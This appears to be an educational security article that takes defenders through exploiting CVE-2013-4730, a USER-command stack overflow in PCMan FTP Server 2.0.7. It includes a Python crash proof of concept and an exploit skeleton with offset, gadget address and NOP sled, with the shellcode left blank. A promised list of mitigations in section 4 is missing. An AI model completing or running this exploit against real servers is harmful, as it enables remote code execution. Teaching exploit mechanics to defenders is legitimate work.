Anatomy of a working exploit

Proof-of-concept code is the honest currency of vulnerability research. A CVSS score is a claim; a working PoC is a receipt. We take a small, self-contained buffer overflow, CVE-2013-4730 in PCMan's FTP Server 2.0.7, and walk through the mechanics of turning "the service crashes" into "the service executes attacker-chosen code." The point is not to celebrate a thirteen-year-old bug. The point is that every defender should be able to read an exploit the way a locksmith reads a lock: unhurriedly, structurally, without mystique. When you can narrate an exploit end-to-end, your detection engineering, your patch prioritisation, and your incident-response tabletops all sharpen.

1. The bug, in one paragraph

PCMan's FTP Server 2.0.7 parses the USER command by copying the argument into a fixed-size stack buffer with no length check. Send USER followed by ~2000 bytes and the return address is overwritten with attacker-controlled data. The process runs as whichever account launched it (historically SYSTEM in lab setups) with no ASLR on the vulnerable image, no stack canaries, and no SafeSEH. Every mitigation a modern build would enable is absent. That is what makes it a teaching bug: the failure mode is legible.

Two sibling issues on the same product round out the picture: CVE-2015-7601 (a RETR directory traversal via ..//) and CVE-2018-18861 (a second overflow via APPE). The vendor's parser was structurally unsafe; each new command surface exposed the same class of failure. When you see a CVE cluster like this, treat the codebase as the finding, not any individual CVE.

2. Reproducing the crash

Before crafting an exploit, prove the primitive. On an isolated VM with a debugger attached to PCManFTPD2.exe, send an oversized USER value and watch the instruction pointer.

# poc_crash.py: reproduce CVE-2013-4730 in an isolated VM only
import socket, sys

TARGET = ("192.0.2.55", 21)          # RFC5737 doc space
PAYLOAD = b"A" * 2000                 # far past the buffer

with socket.create_connection(TARGET, timeout=5) as s:
    banner = s.recv(1024)
    print("banner:", banner.strip().decode(errors="replace"))
    s.sendall(b"USER " + PAYLOAD + b"\r\n")
    try:
        print("resp:", s.recv(1024))
    except socket.timeout:
        print("no response, service likely crashed")

The debugger stops with EIP = 0x41414141. That single fact, the CPU attempting to fetch its next instruction from attacker-controlled input, is the entire game. Every subsequent step is bookkeeping.

3. From crash to control

Exploit development is an ordered checklist; defenders should read it as one:

  1. Find the offset. Send a De Bruijn (cyclic) pattern, note which four bytes land in EIP, and compute the distance from the buffer start. For this bug the widely-published offset is 2007 bytes.
  2. Locate a trampoline. Rather than hard-coding a stack address, find a stable JMP ESP gadget in a non-ASLR module, a shipped DLL with no relocations. mona.py enumerates candidates in seconds.
  3. Stage the payload. After the return address, place a short NOP sled followed by position-independent shellcode. In a lab, windows/exec with calc.exe proves control without weaponisation.
  4. Bad-char triage. FTP command parsers consume \x00, \x0a, \x0d, and often \x20. Any of these inside the shellcode will truncate or mangle it. Encoders such as x86/shikata_ga_nai route around this.
  5. Reliability. A working PoC survives a service restart, a different language pack, and a re-linked binary. Anchor to invariants, not addresses.

The skeleton, with placeholders where the researcher must do the real work:

OFFSET      = 2007
JMP_ESP     = b"\xAF\x11\x50\x62"     # <-- module-specific, verify per build
NOP_SLED    = b"\x90" * 16
SHELLCODE   = b""                     # generated, bad-char-clean, benign in lab

buf = b"A" * OFFSET + JMP_ESP + NOP_SLED + SHELLCODE
sock.sendall(b"USER " + buf + b"\r\n")

Nothing here is exotic. That is the point. Enumerating modules, filtering bad chars, verifying the gadget across builds: these are engineering discipline, not wizardry.

4. What a modern build would have prevented

Each of the following mitigations would independently have broken this exploit:

Each mitigation is a speed bump, not a wall. Layered, they turn a weekend PoC into a multi-week research project. That is the argument to make to a platform team that resists enabling /GS "because it's slow": the alternative is CVE-2013-4730 with a network listener.

More recent memory-corruption bugs such as CVE-2020-0901 (Excel remote code execution via malformed objects), CVE-2020-1010 (arbitrary file deletion in wbengine), and CVE-2020-1021 (Windows Error Reporting elevation of privilege) required exploit chains rather than one-shot payloads precisely because those mitigations were in place. When a modern CVSS 9.8 needs a bug chain and a 2013 bug needs 60 lines of Python, the mitigation stack is doing measurable work.

5. What defenders should take from the PoC

Exploits are readable. Once you have narrated one end-to-end, the problem class stops feeling opaque and starts feeling like plumbing you can inspect, gate, and monitor. That is the shift every application-security team should make.

Verifiable security.